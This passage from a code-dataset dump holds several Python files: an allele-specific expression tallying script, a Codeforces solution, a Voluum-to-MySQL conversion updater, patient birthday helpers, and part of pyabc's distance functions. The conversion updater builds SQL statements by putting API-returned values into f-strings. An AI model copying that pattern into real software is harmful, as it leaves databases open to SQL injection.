Samples\")\r\n\r\n # Open the input file\r\n input_file = open(multi_dim_adj_file_name, 'r')\r\n\r\n # Create an output file for results\r\n output_file_name = 'tallied_meta_results.txt'\r\n\r\n # Open the files for writing\r\n output_file = open(output_file_name, 'w')\r\n\r\n # Write Headers Testable Data\r\n output_file.write(\"Chrom\\tPos\\tID\\tRef\\tAlt\\tTotal_Biallelic\\tTotal_ASE\\tASE_Alleles\\tASE_Alleles_HFE\\tASE_Alleles_LFE\\t\"\r\n + \"Sig_ASE_HFE\\tTotal_Biallelic_HFE\\tSig_ASE_LFE\\tTotal_Biallelic_LFE\\n\")\r\n\r\n # Start looping over the file\r\n for line in input_file:\r\n\r\n # Remove the new line from file\r\n line = line.rstrip(\"\\n\")\r\n # Hidden Tab After Last Entry (Bug in Coding)\r\n line = line.rstrip(\"\\t\")\r\n\r\n # Flag the header\r\n if line.startswith(\"#CHROM\"):\r\n\r\n # Split the line\r\n line_split = line.split(\"\\t\")\r\n\r\n # Get sample names\r\n sample_names = line_split[9:]\r\n\r\n # Create sample index dictionary\r\n sample_index_dict = create_sample_index_dict(sample_names)\r\n\r\n # Create a Counter dictionary of ASE (use total samples count)\r\n counter_sig_ase_dict = create_sig_counter_ase_dict(sample_names)\r\n\r\n else:\r\n\r\n # Replaces all quotes in lines (Excels corrupts txts)\r\n line = line.replace('\"', '')\r\n line = line.replace(\"'\", \"\")\r\n\r\n # Split the line\r\n line_split = line.split(\"\\t\")\r\n\r\n # Get the variables of interest\r\n chromo = line_split[0]\r\n position = line_split[1]\r\n rs_id = line_split[2]\r\n reference = line_split[3]\r\n alternative = line_split[4]\r\n \r\n # Get the sample data\r\n samples_data = line_split[9:]\r\n\r\n # Create Counters\r\n sig_ASE_HFE = 0\r\n total_Biallelic_HFE = 0\r\n\r\n sig_ASE_LFE = 0\r\n total_Biallelic_LFE = 0\r\n\r\n total_Biallelic_Samples = 0\r\n total_sig_ASE_Samples = 0\r\n\r\n # Create lists to store directionality\r\n # (Convert lists to sets later to remove duplicates)\r\n sig_ASE_HFE_dir_list = []\r\n sig_ASE_LFE_dir_list = []\r\n\r\n # Keeps track of index for looking up sample name\r\n sample_index_counter = 0\r\n \r\n # Start looping over sample\r\n for sample in samples_data:\r\n\r\n # Get the sample ID name from Sample Index Dictionary (cleaned up ID)\r\n sample_ID = sample_index_dict[sample_index_counter]\r\n\r\n # Split the sample results\r\n sample_results = sample.split(\":\")\r\n\r\n # Get variables\r\n verdict = sample_results[0]\r\n counts = sample_results[2]\r\n significance_verdict = sample_results[4]\r\n\r\n # Filter out all non-biallelic samples\r\n if verdict != \"Biallelic\":\r\n\r\n # Add to the sample index counter and continue\r\n sample_index_counter += 1\r\n continue\r\n\r\n # Biallelic Samples\r\n else:\r\n\r\n # Get Ref and Alternative Counts\r\n split_counts = counts.split(\",\")\r\n ref_count = split_counts[0]\r\n alt_count = split_counts[1]\r\n\r\n # Get the Feed Efficiency status\r\n feed_efficiency_status = chicken_meta_dict[project][tissue][sample_ID]['feed_status']\r\n\r\n ################# High Feed Efficiency (HFE) Results ############################\r\n # Add to counters based on results\r\n if feed_efficiency_status == 'HFE' and significance_verdict == 'Fail':\r\n\r\n # Add to specific counters\r\n total_Biallelic_HFE += 1\r\n total_Biallelic_Samples += 1\r\n \r\n # Add to the sample index counter and continue\r\n sample_index_counter += 1\r\n continue\r\n\r\n elif feed_efficiency_status == 'HFE' and significance_verdict == 'Pass':\r\n\r\n # Add to specific counters\r\n total_Biallelic_HFE += 1\r\n total_Biallelic_Samples += 1\r\n # Sig Counters\r\n sig_ASE_HFE += 1\r\n total_sig_ASE_Samples += 1\r\n\r\n # Get Directionality\r\n # If Ref is the ASE Allele\r\n if float(ref_count) > float(alt_count):\r\n sig_ASE_HFE_dir_list.append(\"Ref\")\r\n # Alt Allele is the ASE Allele\r\n else:\r\n sig_ASE_HFE_dir_list.append(\"Alt\")\r\n \r\n # Add to the sample index counter and continue\r\n sample_index_counter += 1\r\n continue\r\n\r\n ################# Low Feed Efficiency (LFE) Results ############################\r\n elif feed_efficiency_status == 'LFE' and significance_verdict == 'Fail':\r\n\r\n # Add to specific counters\r\n total_Biallelic_LFE += 1\r\n total_Biallelic_Samples += 1\r\n \r\n # Add to the sample index counter and continue\r\n sample_index_counter += 1\r\n continue\r\n\r\n elif feed_efficiency_status == 'LFE' and significance_verdict == 'Pass':\r\n\r\n # Add to specific counters\r\n total_Biallelic_LFE += 1\r\n total_Biallelic_Samples += 1\r\n # Sig Counters\r\n sig_ASE_LFE += 1\r\n total_sig_ASE_Samples += 1\r\n \r\n\r\n # Get Directionality\r\n # If Ref is the ASE Allele\r\n if float(ref_count) > float(alt_count):\r\n sig_ASE_LFE_dir_list.append(\"Ref\")\r\n # Alt Allele is the ASE Allele\r\n else:\r\n sig_ASE_LFE_dir_list.append(\"Alt\")\r\n \r\n # Add to the sample index counter and continue\r\n sample_index_counter += 1\r\n continue\r\n\r\n # WARNING IN CASE OPTIONS ARE WRONG\r\n else:\r\n\r\n print (\"Combo of feed efficiency status and significance not programmed correctly\")\r\n print (\"Killing Program for Debugging\")\r\n sys.exit()\r\n\r\n # Writing Results to File Based on Findings\r\n # Validating Program is working correctly (comment out when done beta testing)\r\n\r\n ### Get the directionality of ASE alleles ###\r\n # Remove Duplicates and Convert To a List\r\n ASE_HFE_alleles_list = (list(set(sig_ASE_HFE_dir_list)))\r\n ASE_LFE_alleles_list = (list(set(sig_ASE_LFE_dir_list)))\r\n\r\n # Flag Empty Lists for HFE Alleles and Print NaN\r\n if len(ASE_HFE_alleles_list) == 0:\r\n ASE_HFE_alleles_str = 'NaN'\r\n # Non-Empty Lists Convert to a String\r\n else:\r\n ASE_HFE_alleles_str = ','.join(map(str, ASE_HFE_alleles_list))\r\n\r\n # Flag Empty Lists for LFE Alleles and Print NaN\r\n if len(ASE_LFE_alleles_list) == 0:\r\n ASE_LFE_alleles_str = 'NaN'\r\n # Non-Empty Lists Convert to a String\r\n else:\r\n ASE_LFE_alleles_str = ','.join(map(str, ASE_LFE_alleles_list))\r\n\r\n # Examine if the HFE vs LFE Alleles Match\r\n ase_alleles_list = list(set(sig_ASE_HFE_dir_list + sig_ASE_LFE_dir_list))\r\n ase_alleles_str = ','.join(map(str, ase_alleles_list))\r\n\r\n # Write Tallies to File\r\n output_file.write(chromo + \"\\t\" + position + \"\\t\" + rs_id + \"\\t\" + reference + \"\\t\"\r\n + alternative + \"\\t\" + str(total_Biallelic_Samples) + \"\\t\" + str(total_sig_ASE_Samples) + \"\\t\"\r\n + ase_alleles_str + \"\\t\" + ASE_HFE_alleles_str + \"\\t\" + ASE_LFE_alleles_str + \"\\t\"\r\n + str(sig_ASE_HFE) + \"\\t\" + str(total_Biallelic_HFE) + \"\\t\"\r\n + str(sig_ASE_LFE) + \"\\t\" + str(total_Biallelic_LFE) + \"\\n\")\r\n \r\n # Close the files\r\n input_file.close()\r\n output_file.close()\r\n\r\n return (output_file_name)\r\n \r\n\r\ndef create_final_annotated_results_file(merged_results_file_name, variant_info_dict):\r\n\r\n \"\"\"\r\n\r\n Creates the final output file from the analysis, combing in all the variant data and adjusted\r\n p-value results\r\n\r\n : Param merged_results_file_name: Name of the results file\r\n : Param variant_info_dict: Dictionary of all the variant info to be merged into final data\r\n \r\n : Return None:\r\n\r\n \"\"\"\r\n\r\n # Open the input file\r\n input_file = open(merged_results_file_name, 'r')\r\n\r\n # Output File Name\r\n output_file_name = \"Annot_Multi_Dim_Results.txt\"\r\n\r\n # Open the output file\r\n output_file = open(output_file_name , 'w')\r\n\r\n # Write the header to the file\r\n # Write Headers Testable Data\r\n output_file.write(\"Chrom\\tPos\\tID\\tGene_Symbol\\tConsequence\\tImpact\\tRef\\tAlt\\tTotal_Biallelic\\tTotal_ASE\\tASE_Alleles\\tASE_Alleles_HFE\\tASE_Alleles_LFE\\t\"\r\n + \"Sig_ASE_HFE\\tTotal_Biallelic_HFE\\tSig_ASE_LFE\\tTotal_Biallelic_LFE\\n\")\r\n\r\n # Create a variant Counter (Use for looking adjusted p-value)\r\n variant_index_counter = 0\r\n\r\n # Open the input file\r\n for line in input_file:\r\n\r\n # Remove the new line for safety reasons\r\n line = line.rstrip(\"\\n\")\r\n\r\n # Skip the header line\r\n if line.startswith(\"Chrom\"):\r\n continue\r\n\r\n # Deal with rest of data\r\n else:\r\n\r\n # Split the line on tab\r\n split_line = line.split(\"\\t\")\r\n\r\n # Get Variables of Interest\r\n chromosome = split_line[0]\r\n position = split_line[1]\r\n rs_id = split_line[2]\r\n\r\n # Combine Chromosome with Position\r\n location = chromosome + \":\" + position + \"-\" + position\r\n\r\n # Get all the rest of data as one list\r\n rest_of_data = split_line[3:]\r\n rest_of_data_str = \"\\t\".join(map(str, rest_of_data))\r\n\r\n # Get Results from Variant Info Dictionary\r\n gene_symbol_var_dict = variant_info_dict[location]['gene_symbol']\r\n consequence_var_dict = variant_info_dict[location]['consequence']\r\n impact_var_dict = variant_info_dict[location]['impact']\r\n rs_id_var_dict = variant_info_dict[location]['rs_id']\r\n\r\n if rs_id != rs_id_var_dict:\r\n print (\"Issues with RS IDs between files\")\r\n print (\"Killing Program\")\r\n print (\"\")\r\n print (\"Variant Line\")\r\n print (line)\r\n sys.exit()\r\n\r\n # Write Results to the file\r\n output_file.write(chromosome + \"\\t\" + position + \"\\t\" + rs_id + \"\\t\" + gene_symbol_var_dict + \"\\t\"\r\n + consequence_var_dict + \"\\t\" + impact_var_dict + \"\\t\" + rest_of_data_str + \"\\n\")\r\n \r\n # Add to the variant counter\r\n variant_index_counter += 1\r\n\r\n\r\n\r\n # Close the files\r\n input_file.close()\r\n output_file.close()\r\n\r\n\r\n##################################################################################################################################\r\n##################################################################################################################################\r\n##################################################################################################################################\r\n\r\n\r\ndef main():\r\n\r\n ##################### Input Files/Settings ##################\r\n meta_data_input_file = r'C:\\Users\\mjtom\\Desktop\\Final_VADT_Results_For_Paper\\Masked_Genome_Results\\Proportional_Hypothesis_Testing\\Meta_Data_Chickens_No_Duplicates.txt'\r\n\r\n vep_annotation_results_file_name = 'Testable_VEP_Results_Breast_Muscle.txt'\r\n\r\n multi_dim_adj_file_name = 'BM_sig_multi_dim_adj_results.txt'\r\n\r\n project = 'Feed Efficiency'\r\n\r\n tissue = 'Breast Muscle'\r\n\r\n\r\n ##################################################################################################################################\r\n ################################################## DO NOT CHANGE BELOW ###########################################################\r\n ##################################################################################################################################\r\n \r\n print (\"Starting To Analyze and Merge Data\")\r\n\r\n # Create Meta Data Dict for Storing Data\r\n empty_meta_data_dict = create_chicken_meta_data_dict(meta_data_input_file)\r\n\r\n # Extract the meta data about the chickens with IDs as dictionary keys\r\n chicken_meta_dict = extract_chicken_meta_data(meta_data_input_file, empty_meta_data_dict)\r\n\r\n # Extract Variant Information\r\n variant_info_dict = extract_variant_information(vep_annotation_results_file_name)\r\n\r\n # Examine Results of Meta Data\r\n merged_results_file_name = analyze_ase_behavior(chicken_meta_dict, project, tissue, multi_dim_adj_file_name)\r\n\r\n # Merge all Variant Info and Adjusted P-values into the Results File\r\n create_final_annotated_results_file(merged_results_file_name, variant_info_dict)\r\n\r\n print (\"Done Running Program\")\r\n\r\n \r\nmain()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Anotating_Variants_NO_TEST_V1.py","file_name":"Anotating_Variants_NO_TEST_V1.py","file_ext":"py","file_size_in_byte":22278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"36616019","text":"n = int(input())\na = list(map(int, input().split()))\nx = a[0]\ny = a[0]\ncount = 0\nfor i in a:\n if i > x:\n x = i\n count+=1\n if i < y:\n y = i\n count+=1\nprint(count)","sub_path":"Codeforces/Codeforces Round #109 (Div. 2) - 155/155A-I_love_%username%.py","file_name":"155A-I_love_%username%.py","file_ext":"py","file_size_in_byte":165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"223943956","text":"import requests \nfrom datetime import datetime, timedelta\nimport pytz\nimport sys\nimport mysql.connector\nimport re\nfrom ulanmedia2_config.config import * \nfrom utility_functions.create_complete_campaign_sets import create_complete_campaign_sets\nfrom utility_functions.get_vol_access_token import get_vol_access_token\nfrom get_vol_id_from_mgid_id import get_vol_id_from_mgid_id\nfrom get_campaign_name_from_mgid_id import get_campaign_name_from_mgid_id\n\nimport pprint\npp=pprint.PrettyPrinter(indent=2)\n\ndef update_traffic_click_id_in_conversions_table():\n # this function only updates clicks ids for today\n \n ###########\n token = get_vol_access_token(vol_access_id, vol_access_key)\n\n #############\n # vol dates\n \n timezone = 'america/los_angeles'\n start_date_utc = pytz.utc.localize(datetime.utcnow())\n start_date_pst = start_date_utc.astimezone(pytz.timezone(timezone))\n end_date_utc = pytz.utc.localize(datetime.utcnow()) + timedelta(1) \n end_date_pst = end_date_utc.astimezone(pytz.timezone(timezone))\n start_date = start_date_pst.strftime(\"%Y-%m-%d\")\n end_date = end_date_pst.strftime(\"%Y-%m-%d\")\n\n ##################\n # set up mysql\n\n mydb = mysql.connector.connect(\n host=\"localhost\",\n user= mysql_user,\n passwd= mysql_password,\n database=\"ulanmedia\"\n )\n\n mycursor = mydb.cursor()\n\n ####################\n\n url = f\"https://api.voluum.com/report/conversions?from={start_date}T00%3A00%3A00Z&to={end_date}T00%3A00%3A00Z&tz=America%2FLos_Angeles&sort=postbackTimestamp&direction=desc&columns=postbackTimestamp&columns=externalId&columns=clickId&columns=transactionId&columns=revenue&groupBy=conversion&offset=0&limit=100000&include=ACTIVE\" \n res = requests.get(url, headers = {\"cwauth-token\": token}) \n res = res.json() \n for row in res[\"rows\"]: \n vol_click_id = row[\"clickId\"] \n vol_campaign_id = row[\"campaignId\"] \n mgid_campaign_id = row[\"customVariable2\"] \n mgid_click_id = row[\"externalId\"] \n conversion_type = row[\"transactionId\"] \n postback_timestamp = row[\"postbackTimestamp\"] \n postback_timestamp = datetime.strptime(postback_timestamp, '%Y-%m-%d %I:%M:%S %p') \n revenue = row[\"revenue\"] \n sql = f\"UPDATE conversions SET traffic_click_id='{mgid_click_id}', traffic_campaign_id='{mgid_campaign_id}', voluum_campaign_id='{vol_campaign_id}' WHERE traffic_click_id is NULL AND voluum_click_id='{vol_click_id}'\" \n mycursor.execute(sql) \n if mycursor.rowcount == 0: \n sql = f\"SELECT COUNT(*) FROM conversions WHERE voluum_click_id='{vol_click_id}' AND conversion_type='{conversion_type}'\" \n mycursor.execute(sql) \n for count in mycursor: \n if count[0] == 0: \n sql = f\"INSERT INTO conversions (`id`, `conversion_date`, `traffic_campaign_id`, `voluum_campaign_id`, `traffic_click_id`, `voluum_click_id`,`conversion_type`,`conversion_revenue`) VALUES (NULL, '{postback_timestamp}', '{mgid_campaign_id}', '{vol_campaign_id}', '{mgid_click_id}', '{vol_click_id}', '{conversion_type}', '{revenue}')\" \n mycursor.execute(sql) \n \n mydb.commit() \n\n\n\n","sub_path":"update_traffic_click_id_in_conversions_table.py","file_name":"update_traffic_click_id_in_conversions_table.py","file_ext":"py","file_size_in_byte":3206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"317170881","text":"import datetime\n\ndef add_days_countdown(patients):\n '''\n Add an extra 'countdown' field the tracks the number of days until a\n patient's birthday\n '''\n today = datetime.datetime.today()\n\n for patient in patients:\n if patient['date_of_birth']:\n toks = patient['date_of_birth'].split('-')\n day = int(toks[2]) \n patient['countdown'] = day - today.day\n\ndef date_this_month(birthdate):\n '''\n Check to see whether a given birthdate is within the current month, and\n hasn't already passed.\n '''\n if birthdate:\n toks = birthdate.split('-')\n month = int(toks[1])\n day = int(toks[2])\n today = datetime.datetime.today()\n return month == today.month and today.day <= day\n return False\n\ndef current_month():\n '''\n Return the current month in a human-readable format\n '''\n months = {\n 1: 'January',\n 2: 'February',\n 3: 'March',\n 4: 'April',\n 5: 'May',\n 6: 'June',\n 7: 'July',\n 8: 'August',\n 9: 'September',\n 10: 'October',\n 11: 'November',\n 12: 'December'\n }\n\n return months[datetime.datetime.today().month]\n\ndef no_contact_info(patient):\n return patient['cell_phone'] == '' and patient['email'] == '' and patient['home_phone'] == ''\n\ndef no_birthdate_info(patient):\n return patient['date_of_birth'] == None\n","sub_path":"birthday/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"44800327","text":"\"\"\"\nDistance functions\n==================\n\nDistance functions measure closeness of observed and sampled data.\nFor custom distance functions, either pass a plain function to ABCSMC or\nsubclass the DistanceFunction class if finer grained configuration is required.\n\"\"\"\n\nimport json\nimport scipy as sp\nimport numpy as np\nfrom scipy import linalg as la\nfrom abc import ABC, abstractmethod\nfrom typing import List\nimport logging\nfrom ..sampler import Sampler\nfrom .scales import standard_deviation\n\n\nlogger = logging.getLogger(\"DistanceFunction\")\n\n\nclass DistanceFunction(ABC):\n \"\"\"\n Abstract base class for distance functions.\n\n Any other distance function should inherit from this class.\n \"\"\"\n\n def __init__(self, require_initialize: bool = True):\n \"\"\"\n Default constructor.\n \"\"\"\n self.require_initialize = require_initialize\n\n def handle_x_0(self, x_0: dict):\n \"\"\"\n This method is called by the ABCSMC framework before the first\n use of the distance function (in ``new`` and ``load``)\n to handle observed summary statistics x_0.\n\n Parameters\n ----------\n\n x_0: dict\n The observed summary statistics.\n\n The default implementation is to do nothing.\n\n This function is called irrespective of require_initialize.\n \"\"\"\n pass\n\n def initialize(self,\n t: int,\n sample_from_prior: List[dict]):\n \"\"\"\n This method is called by the ABCSMC framework before the first\n use of the distance function (in ``new`` and ``load``),\n and can be used to calibrate it to the statistics of the samples.\n\n The default implementation is to do nothing.\n\n This function is only called if require_initialize == True.\n\n Parameters\n ----------\n\n t: int\n Time point for which to initialize the distance function.\n\n sample_from_prior: List[dict]\n List of dictionaries containing the summary statistics.\n \"\"\"\n\n def configure_sampler(self, sampler: Sampler):\n \"\"\"\n This is called by the ABCSMC class and gives the distance function\n the opportunity to configure the sampler.\n For example, the distance function might request the sampler\n to also return rejected particles and their summary statistics\n in order to adapt the distance functions to the statistics\n of the sample.\n\n The default is to do nothing.\n\n Parameters\n ----------\n\n sampler: Sampler\n The Sampler used in ABCSMC.\n \"\"\"\n\n def update(self, # pylint: disable=R0201\n t: int,\n all_sum_stats: List[dict]) -> bool:\n \"\"\"\n Update the distance function. Default: Do nothing.\n\n Parameters\n ----------\n\n t: int\n Time point for which to update/create the distance measure.\n\n all_sum_stats: List[dict]\n List of all summary statistics that should be used to update the\n distance (in particular also rejected ones).\n\n Returns\n -------\n\n is_updated: bool\n True: If distance function has changed compared to hitherto.\n False: If distance function has not changed (default).\n \"\"\"\n return False\n\n @abstractmethod\n def __call__(self,\n t: int,\n x: dict,\n x_0: dict) -> float:\n \"\"\"\n Evaluate, at time point t, the distance of the tentatively sampled\n particle to the measured data.\n\n Abstract method. This method has to be overwritten by\n all concrete implementations.\n\n Parameters\n ----------\n\n t: int\n Time point at which to evaluate the distance.\n\n x: dict\n Summary statistics of the tentatively sampled parameter.\n\n x_0: dict\n Summary statistics of the measured data.\n\n Returns\n -------\n\n distance: float\n Attributes distance of the tentatively sampled particle\n from the measured data.\n \"\"\"\n\n def get_config(self) -> dict:\n \"\"\"\n Return configuration of the distance function.\n\n Returns\n -------\n\n config: dict\n Dictionary describing the distance function.\n \"\"\"\n\n return {\"name\": self.__class__.__name__}\n\n def to_json(self) -> str:\n \"\"\"\n Return JSON encoded configuration of the distance function.\n\n Returns\n -------\n\n json_str: str\n JSON encoded string describing the distance function.\n The default implementation is to try to convert the dictionary\n returned my ``get_config``.\n \"\"\"\n\n return json.dumps(self.get_config())\n\n\nclass NoDistance(DistanceFunction):\n \"\"\"\n Implements a kind of null object as distance function.\n\n This can be used as a dummy distance function if e.g. integrated modeling\n is used.\n\n .. note::\n This distance function cannot be evaluated, so currently it is in\n particular not possible to use an epsilon threshold which requires\n initialization (i.e. eps.require_initialize==True is not possible).\n \"\"\"\n\n def __init__(self):\n super().__init__(require_initialize=False)\n\n def __call__(self,\n t: int,\n x: dict,\n x_0: dict) -> float:\n raise Exception(\"{} is not intended to be called.\"\n .format(self.__class__.__name__))\n\n\nclass SimpleFunctionDistance(DistanceFunction):\n \"\"\"\n This is a wrapper around a simple function which calculates the distance.\n If a function is passed to the ABCSMC class, then it is converted to\n an instance of the SimpleFunctionDistance class.\n\n Parameters\n ----------\n\n function: Callable\n A Callable accepting two parameters, namely summary statistics x and y.\n \"\"\"\n\n def __init__(self,\n function):\n super().__init__(require_initialize=False)\n self.function = function\n\n def __call__(self,\n t: int,\n x: dict,\n x_0: dict) -> float:\n return self.function(x, x_0)\n\n def get_config(self):\n conf = super().get_config()\n try:\n conf[\"name\"] = self.function.__name__\n except AttributeError:\n try:\n conf[\"name\"] = self.function.__class_.__name__\n except AttributeError:\n pass\n return conf\n\n\ndef to_distance(maybe_distance_function):\n \"\"\"\n\n Parameters\n ----------\n maybe_distance_function: either a Callable, which takes two arguments, or\n a DistanceFunction instance.\n\n Returns\n -------\n\n \"\"\"\n\n if maybe_distance_function is None:\n return NoDistance()\n\n if isinstance(maybe_distance_function, DistanceFunction):\n return maybe_distance_function\n\n return SimpleFunctionDistance(maybe_distance_function)\n\n\nclass PNormDistance(DistanceFunction):\n \"\"\"\n Use weighted p-norm\n\n .. math::\n\n d(x, y) =\\\n \\\\left[\\\\sum_{i} \\\\left w_i| x_i-y_i \\\\right|^{p} \\\\right]^{1/p}\n\n to compute distances between sets of summary statistics. E.g. set p=2 to\n get a Euclidean distance.\n\n Parameters\n ----------\n\n p: float\n p for p-norm. Required p >= 1, p = np.inf allowed (infinity-norm).\n\n w: dict\n Weights. Dictionary indexed by time points. Each entry contains a\n dictionary of numeric weights, indexed by summary statistics labels.\n If none is passed, a weight of 1 is considered for every summary\n statistic. If no entry is available in w for a given time point,\n the maximum available time point is selected.\n \"\"\"\n\n def __init__(self,\n p: float = 2,\n w: dict = None):\n super().__init__(require_initialize=False)\n\n if p < 1:\n raise ValueError(\"It must be p >= 1\")\n self.p = p\n\n self.w = w\n\n def __call__(self,\n t: int,\n x: dict,\n x_0: dict) -> float:\n # make sure weights are initialized\n if self.w is None:\n self._set_default_weights(t, x.keys())\n\n # select last time point for which weights exist\n if t not in self.w:\n t = max(self.w)\n\n # extract weights for time point\n w = self.w[t]\n\n # compute distance\n if self.p == np.inf:\n d = max(abs(w[key] * (x[key] - x_0[key]))\n if key in x and key in x_0 else 0\n for key in w)\n else:\n d = pow(\n sum(pow(abs(w[key] * (x[key] - x_0[key])), self.p)\n if key in x and key in x_0 else 0\n for key in w),\n 1 / self.p)\n\n return d\n\n def _set_default_weights(self,\n t: int,\n sum_stat_keys):\n \"\"\"\n Init weights to 1 for every summary statistic.\n \"\"\"\n self.w = {t: {k: 1 for k in sum_stat_keys}}\n\n def get_config(self) -> dict:\n return {\"name\": self.__class__.__name__,\n \"p\": self.p,\n \"w\": self.w}\n\n\nclass AdaptivePNormDistance(PNormDistance):\n \"\"\"\n In the p-norm distance, adapt the weights for each generation, based on\n the previous simulations. This class is motivated by [#prangle]_.\n\n Parameters\n ----------\n\n p: float, optional (default = 2)\n p for p-norm. Required p >= 1, p = np.inf allowed (infinity-norm).\n\n adaptive: bool, optional (default = True)\n True: Adapt distance after each iteration.\n False: Adapt distance only once at the beginning in initialize().\n This corresponds to a pre-calibration.\n\n scale_function: Callable, optional (default = standard_deviation)\n (data: list, x_0: float) -> scale: float. Computes the scale (i.e.\n inverse weight s = 1 / w) for a given summary statistic. Here, data\n denotes the list of simulated summary statistics, and x_0 the observed\n summary statistic. Implemented are absolute_median_deviation,\n standard_deviation (default), centered_absolute_median_deviation,\n centered_standard_deviation.\n\n normalize_weights: bool, optional (default = True)\n Whether to normalize the weights to have mean 1. This just possibly\n smoothes the decrease of epsilon and might aid numeric stability, but\n is not strictly necessary.\n\n max_weight_ratio: float, optional (default = None)\n If not None, large weights will be bounded by the ratio times the\n smallest non-zero absolute weight. In practice usually not necessary,\n it is theoretically required to ensure convergence.\n\n\n .. [#prangle] Prangle, Dennis. \"Adapting the ABC Distance Function\".\n Bayesian Analysis, 2017. doi:10.1214/16-BA1002.\n \"\"\"\n\n def __init__(self,\n p: float = 2,\n adaptive: bool = True,\n scale_function=None,\n normalize_weights: bool = True,\n max_weight_ratio: float = None):\n # call p-norm constructor\n super().__init__(p=p, w=None)\n\n self.require_initialize = True\n self.adaptive = adaptive\n\n if scale_function is None:\n scale_function = standard_deviation\n self.scale_function = scale_function\n\n self.normalize_weights = normalize_weights\n self.max_weight_ratio = max_weight_ratio\n\n self.x_0 = None\n\n def handle_x_0(self, x_0: dict):\n \"\"\"\n Some scale functions require the observed summary statistics x_0.\n In addition, x_0 is always used to generate a list of summary\n statistics (which is important when the generated statistics are\n volatilve over simulations).\n \"\"\"\n self.x_0 = x_0\n\n def configure_sampler(self,\n sampler: Sampler):\n \"\"\"\n Make the sampler return also rejected particles,\n because these are needed to get a better estimate of the summary\n statistic variabilities, avoiding a bias to accepted ones only.\n\n Parameters\n ----------\n\n sampler: Sampler\n The sampler employed.\n \"\"\"\n if self.adaptive:\n sampler.sample_factory.record_rejected = True\n\n def initialize(self,\n t: int,\n sample_from_prior: List[dict]):\n \"\"\"\n Initialize weights.\n \"\"\"\n # update weights from samples\n self._update(t, sample_from_prior)\n\n def update(self,\n t: int,\n all_sum_stats: List[dict]):\n \"\"\"\n Update weights based on all simulations.\n \"\"\"\n\n if not self.adaptive:\n return False\n\n self._update(t, all_sum_stats)\n\n return True\n\n def _update(self,\n t: int,\n all_sum_stats: List[dict]):\n \"\"\"\n Here the real update of weights happens.\n \"\"\"\n\n # retrieve keys\n keys = self.x_0.keys()\n\n # number of samples\n n_samples = len(all_sum_stats)\n\n # make sure w_list is initialized\n if self.w is None:\n self.w = {}\n\n # to-be-filled-and-appended weights dictionary\n w = {}\n\n for key in keys:\n # prepare list for key\n current_list = []\n for j in range(n_samples):\n if key in all_sum_stats[j]:\n current_list.append(all_sum_stats[j][key])\n\n # compute scaling\n scale = self.scale_function(data=current_list, x_0=self.x_0[key])\n\n # compute weight (inverted scale)\n if np.isclose(scale, 0):\n # This means that either the summary statistic is not in the\n # samples, or that all simulations were identical. In either\n # case, it should be safe to ignore this summary statistic.\n w[key] = 0\n else:\n w[key] = 1 / scale\n\n # normalize weights to have mean 1\n w = self._normalize_weights(w)\n\n # bound weights\n w = self._bound_weights(w)\n\n # add to w attribute, at time t\n self.w[t] = w\n\n # logging\n logger.debug(\"update distance weights = {}\".format(self.w[t]))\n\n def _normalize_weights(self, w):\n \"\"\"\n Normalize weights to have mean 1.\n\n This has just the effect that eps will decrease more smoothly, but is\n not important otherwise.\n \"\"\"\n if not self.normalize_weights:\n return w\n\n mean_weight = np.mean(list(w.values()))\n for key in w:\n w[key] /= mean_weight\n\n return w\n\n def _bound_weights(self, w):\n \"\"\"\n Bound all weights to self.max_weight_ratio times the minimum\n non-zero absolute weight, if self.max_weight_ratio is not None.\n\n While this is usually not required in practice, it is theoretically\n necessary that the ellipses are not arbitrarily eccentric, in order\n to ensure convergence.\n \"\"\"\n if self.max_weight_ratio is None:\n return w\n\n # find minimum weight != 0\n w_arr = np.array(list(w.values()))\n min_abs_weight = np.min(np.abs(w_arr[w_arr != 0]))\n # can be assumed to be != 0\n\n for key, value in w.items():\n # bound too large weights\n if abs(value) / min_abs_weight > self.max_weight_ratio:\n w[key] = np.sign(value) * self.max_weight_ratio \\\n * min_abs_weight\n\n return w\n\n def get_config(self) -> dict:\n return {\"name\": self.__class__.__name__,\n \"p\": self.p,\n \"adaptive\": self.adaptive,\n \"scale_function\": self.scale_function.__name__,\n \"normalize_weights\": self.normalize_weights,\n \"max_weight_ratio\": self.max_weight_ratio}\n\n\nclass DistanceFunctionWithMeasureList(DistanceFunction):\n \"\"\"\n Base class for distance functions with measure list.\n This class is not functional on its own.\n\n Parameters\n ----------\n\n measures_to_use: Union[str, List[str]].\n * If set to \"all\", all measures are used. This is the default.\n * If a list is provided, the measures in the list are used.\n * measures refers to the summary statistics.\n \"\"\"\n\n def __init__(self,\n measures_to_use='all'):\n super().__init__(require_initialize=True)\n self._measures_to_use_passed_to_init = measures_to_use\n #: The measures (summary statistics) to use for distance calculation.\n self.measures_to_use = None\n\n def initialize(self,\n t: int,\n sample_from_prior: List[dict]):\n if self._measures_to_use_passed_to_init == 'all':\n self.measures_to_use = sample_from_prior[0].keys()\n raise Exception(\n \"distance function from all measures not implemented.\")\n else:\n self.measures_to_use = self._measures_to_use_passed_to_init\n\n def get_config(self):\n config = super().get_config()\n config[\"measures_to_use\"] = self.measures_to_use\n return config\n\n\nclass ZScoreDistanceFunction(DistanceFunctionWithMeasureList):\n \"\"\"\n Calculate distance as sum of ZScore over the selected measures.\n The measured Data is the reference for the ZScore.\n\n Hence\n\n .. math::\n\n d(x, y) =\\\n \\\\sum_{i \\\\in \\\\text{measures}} \\\\left| \\\\frac{x_i-y_i}{y_i} \\\\right|\n \"\"\"\n\n def __call__(self,\n t: int,\n x: dict,\n x_0: dict) -> float:\n return sum(abs((x[key] - x_0[key]) / x_0[key]) if x_0[key] != 0 else\n (0 if x[key] == 0 else np.inf)\n for key in self.measures_to_use) / len(self.measures_to_use)\n\n\nclass PCADistanceFunction(DistanceFunctionWithMeasureList):\n \"\"\"\n Calculate distance in whitened coordinates.\n\n A whitening transformation :math:`X` is calculated from an initial sample.\n The distance is measured as euclidean distance in the transformed 